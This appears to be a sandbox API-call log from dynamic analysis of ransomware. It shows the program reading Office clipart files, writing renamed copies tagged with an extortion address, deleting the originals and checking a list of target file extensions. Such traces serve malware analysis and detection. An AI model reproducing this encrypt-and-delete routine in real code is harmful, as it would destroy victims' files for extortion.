[0250.333] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.333] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.334] GetLastError () returned 0x0 [0250.334] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x329e, lpOverlapped=0x0) returned 1 [0250.338] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x32a0, lpOverlapped=0x0) returned 1 [0250.340] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.340] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.340] SetEndOfFile (hFile=0x324) returned 1 [0250.340] CloseHandle (hObject=0x324) returned 1 [0250.340] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.340] SetEndOfFile (hFile=0x3b0) returned 1 [0250.342] CloseHandle (hObject=0x3b0) returned 1 [0250.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0250.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.343] lstrlenW (lpString=".doc") returned 4 [0250.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.343] lstrlenW (lpString=".docx") returned 5 [0250.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.343] lstrlenW (lpString=".pdf") returned 4 [0250.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.343] lstrlenW (lpString=".xls") returned 4 [0250.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.343] lstrlenW (lpString=".xlsx") returned 5 [0250.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.343] lstrlenW (lpString=".ppt") returned 4 [0250.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.343] lstrlenW (lpString=".zip") returned 4 [0250.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.343] lstrlenW (lpString=".rar") returned 4 [0250.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.343] lstrlenW (lpString=".bz2") returned 4 [0250.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.343] lstrlenW (lpString=".7z") returned 3 [0250.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.343] lstrlenW (lpString=".dbf") returned 4 [0250.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.343] lstrlenW (lpString=".1cd") returned 4 [0250.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.343] lstrlenW (lpString=".jpg") returned 4 [0250.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.344] lstrlenW (lpString=".doc") returned 4 [0250.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.344] lstrlenW (lpString=".docx") returned 5 [0250.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.344] lstrlenW (lpString=".pdf") returned 4 [0250.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.344] lstrlenW (lpString=".xls") returned 4 [0250.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.344] lstrlenW (lpString=".xlsx") returned 5 [0250.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.344] lstrlenW (lpString=".ppt") returned 4 [0250.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.344] lstrlenW (lpString=".zip") returned 4 [0250.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.344] lstrlenW (lpString=".rar") returned 4 [0250.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.344] lstrlenW (lpString=".bz2") returned 4 [0250.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.344] lstrlenW (lpString=".7z") returned 3 [0250.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.344] lstrlenW (lpString=".dbf") returned 4 [0250.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.344] lstrlenW (lpString=".1cd") returned 4 [0250.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0250.344] lstrlenW (lpString=".jpg") returned 4 [0250.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.345] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.345] lstrlenW (lpString="FD02068_.WMF") returned 12 [0250.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.345] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2488) returned 1 [0250.345] CloseHandle (hObject=0x3b0) returned 1 [0250.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20 [0250.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.345] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.345] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.346] GetLastError () returned 0x0 [0250.346] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0250.348] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0250.348] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.348] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.349] SetEndOfFile (hFile=0x324) returned 1 [0250.349] CloseHandle (hObject=0x324) returned 1 [0250.349] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.349] SetEndOfFile (hFile=0x3b0) returned 1 [0250.351] CloseHandle (hObject=0x3b0) returned 1 [0250.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0250.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.352] lstrlenW (lpString=".doc") returned 4 [0250.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.352] lstrlenW (lpString=".docx") returned 5 [0250.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.352] lstrlenW (lpString=".pdf") returned 4 [0250.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.352] lstrlenW (lpString=".xls") returned 4 [0250.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.352] lstrlenW (lpString=".xlsx") returned 5 [0250.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.352] lstrlenW (lpString=".ppt") returned 4 [0250.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.352] lstrlenW (lpString=".zip") returned 4 [0250.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.352] lstrlenW (lpString=".rar") returned 4 [0250.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.352] lstrlenW (lpString=".bz2") returned 4 [0250.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.353] lstrlenW (lpString=".7z") returned 3 [0250.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.353] lstrlenW (lpString=".dbf") returned 4 [0250.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.353] lstrlenW (lpString=".1cd") returned 4 [0250.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.353] lstrlenW (lpString=".jpg") returned 4 [0250.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.353] lstrlenW (lpString=".doc") returned 4 [0250.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.353] lstrlenW (lpString=".docx") returned 5 [0250.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.353] lstrlenW (lpString=".pdf") returned 4 [0250.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.353] lstrlenW (lpString=".xls") returned 4 [0250.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.353] lstrlenW (lpString=".xlsx") returned 5 [0250.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.353] lstrlenW (lpString=".ppt") returned 4 [0250.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.353] lstrlenW (lpString=".zip") returned 4 [0250.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.353] lstrlenW (lpString=".rar") returned 4 [0250.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.353] lstrlenW (lpString=".bz2") returned 4 [0250.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.353] lstrlenW (lpString=".7z") returned 3 [0250.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.353] lstrlenW (lpString=".dbf") returned 4 [0250.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.354] lstrlenW (lpString=".1cd") returned 4 [0250.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 63 [0250.354] lstrlenW (lpString=".jpg") returned 4 [0250.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.354] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.354] lstrlenW (lpString="FD02071_.WMF") returned 12 [0250.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.355] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=2188) returned 1 [0250.355] CloseHandle (hObject=0x3b0) returned 1 [0250.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20 [0250.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.355] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.355] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.357] GetLastError () returned 0x0 [0250.357] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x88c, lpOverlapped=0x0) returned 1 [0250.359] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x890, lpOverlapped=0x0) returned 1 [0250.361] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.361] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.361] SetEndOfFile (hFile=0x324) returned 1 [0250.361] CloseHandle (hObject=0x324) returned 1 [0250.361] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.361] SetEndOfFile (hFile=0x3b0) returned 1 [0250.364] CloseHandle (hObject=0x3b0) returned 1 [0250.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.365] lstrlenW (lpString=".doc") returned 4 [0250.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.365] lstrlenW (lpString=".docx") returned 5 [0250.365] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.365] lstrlenW (lpString=".pdf") returned 4 [0250.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.365] lstrlenW (lpString=".xls") returned 4 [0250.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.365] lstrlenW (lpString=".xlsx") returned 5 [0250.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.365] lstrlenW (lpString=".ppt") returned 4 [0250.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.365] lstrlenW (lpString=".zip") returned 4 [0250.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.365] lstrlenW (lpString=".rar") returned 4 [0250.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.365] lstrlenW (lpString=".bz2") returned 4 [0250.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.365] lstrlenW (lpString=".7z") returned 3 [0250.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.365] lstrlenW (lpString=".dbf") returned 4 [0250.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.365] lstrlenW (lpString=".1cd") returned 4 [0250.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.365] lstrlenW (lpString=".jpg") returned 4 [0250.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.365] lstrlenW (lpString=".doc") returned 4 [0250.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.365] lstrlenW (lpString=".docx") returned 5 [0250.365] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.365] lstrlenW (lpString=".pdf") returned 4 [0250.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.366] lstrlenW (lpString=".xls") returned 4 [0250.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.366] lstrlenW (lpString=".xlsx") returned 5 [0250.366] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.366] lstrlenW (lpString=".ppt") returned 4 [0250.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.366] lstrlenW (lpString=".zip") returned 4 [0250.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.366] lstrlenW (lpString=".rar") returned 4 [0250.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.366] lstrlenW (lpString=".bz2") returned 4 [0250.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.366] lstrlenW (lpString=".7z") returned 3 [0250.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.366] lstrlenW (lpString=".dbf") returned 4 [0250.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.366] lstrlenW (lpString=".1cd") returned 4 [0250.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 63 [0250.366] lstrlenW (lpString=".jpg") returned 4 [0250.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.366] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.366] lstrlenW (lpString="FD02075_.WMF") returned 12 [0250.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.367] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=4396) returned 1 [0250.367] CloseHandle (hObject=0x3b0) returned 1 [0250.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20 [0250.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.367] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.367] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, 